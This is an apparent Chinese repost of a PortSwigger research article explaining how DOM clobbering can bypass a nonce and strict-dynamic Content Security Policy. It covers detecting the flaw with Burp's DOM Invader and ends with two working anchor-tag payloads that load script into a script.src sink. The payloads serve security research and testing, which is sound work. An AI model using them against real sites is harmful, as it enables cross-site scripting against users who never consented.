通过DOM破坏绕过CSP策略:实战XSS攻击与工具利用

本文详细介绍了如何利用DOM破坏技术绕过内容安全策略(CSP)实现XSS攻击,包括漏洞利用条件、DOM Invader工具检测方法,以及实际攻击载荷构造技巧,帮助安全研究人员识别和防御此类漏洞。

通过DOM破坏绕过CSP | PortSwigger研究

Gareth Heyes
研究员
@garethheyes

发布时间: 2023年6月5日 14:00 UTC
更新时间: 2023年6月5日 14:00 UTC

你可能已经发现了HTML注入漏洞,但不幸的是目标网站受到内容安全策略(CSP)的保护。别放弃,通过DOM破坏(DOM clobbering)技术可能绕过CSP,而现在你可以使用DOM Invader工具来检测这种漏洞!本文将展示具体方法。

我们的测试案例基于一个漏洞赏金平台,因此你在实际环境中很可能遇到类似代码。如果你不熟悉DOM破坏技术,建议先访问我们的学院学习这类攻击并完成实验。

漏洞利用所需条件

要利用DOM破坏,你需要三个要素:

  1. HTML注入点
  2. gadget - 一个或多个属性名称
  3. 接收器(sink)

为了绕过CSP,你的gadget需要最终进入被策略允许的接收器中。这可能是一个eval函数,更现实的情况是受到nonce和CSP中strict-dynamic源表达式保护的脚本。使用strict-dynamic时,受nonce保护的脚本被允许生成其他脚本,我们可以利用这一点引入自己的脚本。

识别DOM破坏漏洞

首先需要在Burp浏览器中加载测试案例。访问以下链接:[受CSP保护的DOM破坏测试案例](DOM clobbering test case protected by CSP)。

然后启用DOM Invader: 启用DOM Invader后,需要开启DOM破坏检测功能。你会注意到DOM Invader显示警告信息,因为DOM破坏攻击可能导致网站崩溃。因此建议只在测试特定页面时启用此功能。

重新加载测试案例后,如果一切顺利,你会看到DOM Invader发现了一个名为script.src的接收器。注意接收器值包含字符串domclobbering,后跟两个属性名称和一个canary标记。这是DOM Invader用来发现DOM破坏漏洞的方法,因为多个接收器和值可能包含被破坏的属性。

绕过CSP利用漏洞

发现漏洞后,我们需要构建DOM破坏攻击。记住我们还需要HTML注入点,幸运的是测试案例中存在这样的漏洞。

我们可以尝试注入脚本,但CSP会阻止执行。然后利用DOM Invader报告的信息构建绕过CSP的攻击。根据截图中的接收器值,我们需要属性ehy和codeBasePath。注意接收器值还包含JavaScript文件路径/utils.js,我们需要在利用中使用单行注释来处理这一点。

现在需要制作攻击载荷。如需复习相关知识,请访问我们学院的学习材料。我们知道gadget最终会进入script.src属性。如果点击堆栈跟踪并查看控制台,可以看到接收器发生的具体行号。

创建攻击载荷需要注入两个锚点标签来破坏这些属性:

1
<a id=ehy><a id=ehy name=codeBasePath href=data:,alert(1)//>

查看解决方案 在示例中我们使用了data URL,需要注意的是这不是必须的,只是更优雅。你可以使用HTTP URL,效果同样很好。注意我使用问号而不是单行注释,将utils文件名移动到查询字符串中:

1
<a id=ehy><a id=ehy name=codeBasePath href="//subdomain1.portswigger-labs.net/xss/xss.js?">

HTTP示例

相关标签:DOM Clobbering, DOM, XSS, CSP

返回所有文章


本页面需要JavaScript以获得增强的用户体验。

相关研究

  • 使用cookie sandwich技术窃取HttpOnly cookies(2025年1月22日)
  • 使用phantom $Version cookie绕过WAF(2024年12月4日)
  • 在URL凭据中隐藏载荷(2024年10月23日)
  • 使用表单劫持绕过CSP(2024年3月5日)
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计